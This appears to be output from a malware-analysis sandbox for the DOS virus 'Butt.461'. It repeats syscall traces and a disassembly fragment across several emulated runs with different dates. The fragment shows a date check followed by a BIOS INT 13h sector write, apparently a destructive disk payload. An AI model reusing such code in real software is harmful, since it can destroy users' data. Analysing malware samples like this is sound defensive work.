Sample viewer

vx.netlux.org/Virus.DOS.Butt.461

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:48:11.066453981Z 68 PC: 12a66 | I/O control for devices (Set for = 'Í ÀŸ')
2018-12-17T22:48:11.068143698Z 42 PC: 12acf | Get date 0x12acf: cmp al, 5
0x12ad1: je 0x12ae3
0x12ad3: pop es
0x12ad4: pop ds
0x12ad5: mov di, 0x100
0x12ad8: lea si, word ptr [bp + 0xa0]
0x12adc: push di
0x12add: movsw word ptr es:[di], word ptr [si]
0x12ade: movsb byte ptr es:[di], byte ptr [si]
0x12adf: ret
0x12ae0: int 0x20
0x12ae2: add byte ptr [bp + si + 0x80], bh
0x12ae6: mov cx, 1
0x12ae9: mov ax, 0x380
0x12aec: xor bx, bx
0x12aee: mov es, bx
0x12af0: int 0x13
0x12af2: jmp 0x12ad3
0x12af4: inc dx
0x12af5: jne 0x12b4b

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9463,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:13.236851857Z 68 PC: 12a66 | I/O control for devices (Set for = 'Í ÀŸ')
2018-12-25T12:23:13.238763901Z 42 PC: 12acf | Get date 0x12acf: cmp al, 5
0x12ad1: je 0x12ae3
0x12ad3: pop es
0x12ad4: pop ds
0x12ad5: mov di, 0x100
0x12ad8: lea si, word ptr [bp + 0xa0]
0x12adc: push di
0x12add: movsw word ptr es:[di], word ptr [si]
0x12ade: movsb byte ptr es:[di], byte ptr [si]
0x12adf: ret
0x12ae0: int 0x20
0x12ae2: add byte ptr [bp + si + 0x80], bh
0x12ae6: mov cx, 1
0x12ae9: mov ax, 0x380
0x12aec: xor bx, bx
0x12aee: mov es, bx
0x12af0: int 0x13
0x12af2: jmp 0x12ad3
0x12af4: inc dx
0x12af5: jne 0x12b4b

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9463,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:13.354244574Z 68 PC: 12a66 | I/O control for devices (Set for = 'Í ÀŸ')
2018-12-25T12:23:13.356961545Z 42 PC: 12acf | Get date 0x12acf: cmp al, 5
0x12ad1: je 0x12ae3
0x12ad3: pop es
0x12ad4: pop ds
0x12ad5: mov di, 0x100
0x12ad8: lea si, word ptr [bp + 0xa0]
0x12adc: push di
0x12add: movsw word ptr es:[di], word ptr [si]
0x12ade: movsb byte ptr es:[di], byte ptr [si]
0x12adf: ret
0x12ae0: int 0x20
0x12ae2: add byte ptr [bp + si + 0x80], bh
0x12ae6: mov cx, 1
0x12ae9: mov ax, 0x380
0x12aec: xor bx, bx
0x12aee: mov es, bx
0x12af0: int 0x13
0x12af2: jmp 0x12ad3
0x12af4: inc dx
0x12af5: jne 0x12b4b

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9463,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:13.37343819Z 68 PC: 12a66 | I/O control for devices (Set for = 'Í ÀŸ')
2018-12-25T12:23:13.375044771Z 42 PC: 12acf | Get date 0x12acf: cmp al, 5
0x12ad1: je 0x12ae3
0x12ad3: pop es
0x12ad4: pop ds
0x12ad5: mov di, 0x100
0x12ad8: lea si, word ptr [bp + 0xa0]
0x12adc: push di
0x12add: movsw word ptr es:[di], word ptr [si]
0x12ade: movsb byte ptr es:[di], byte ptr [si]
0x12adf: ret
0x12ae0: int 0x20
0x12ae2: add byte ptr [bp + si + 0x80], bh
0x12ae6: mov cx, 1
0x12ae9: mov ax, 0x380
0x12aec: xor bx, bx
0x12aee: mov es, bx
0x12af0: int 0x13
0x12af2: jmp 0x12ad3
0x12af4: inc dx
0x12af5: jne 0x12b4b

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9463,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:13.47044873Z 68 PC: 12a66 | I/O control for devices (Set for = 'Í ÀŸ')
2018-12-25T12:23:13.472997626Z 42 PC: 12acf | Get date 0x12acf: cmp al, 5
0x12ad1: je 0x12ae3
0x12ad3: pop es
0x12ad4: pop ds
0x12ad5: mov di, 0x100
0x12ad8: lea si, word ptr [bp + 0xa0]
0x12adc: push di
0x12add: movsw word ptr es:[di], word ptr [si]
0x12ade: movsb byte ptr es:[di], byte ptr [si]
0x12adf: ret
0x12ae0: int 0x20
0x12ae2: add byte ptr [bp + si + 0x80], bh
0x12ae6: mov cx, 1
0x12ae9: mov ax, 0x380
0x12aec: xor bx, bx
0x12aee: mov es, bx
0x12af0: int 0x13
0x12af2: jmp 0x12ad3
0x12af4: inc dx
0x12af5: jne 0x12b4b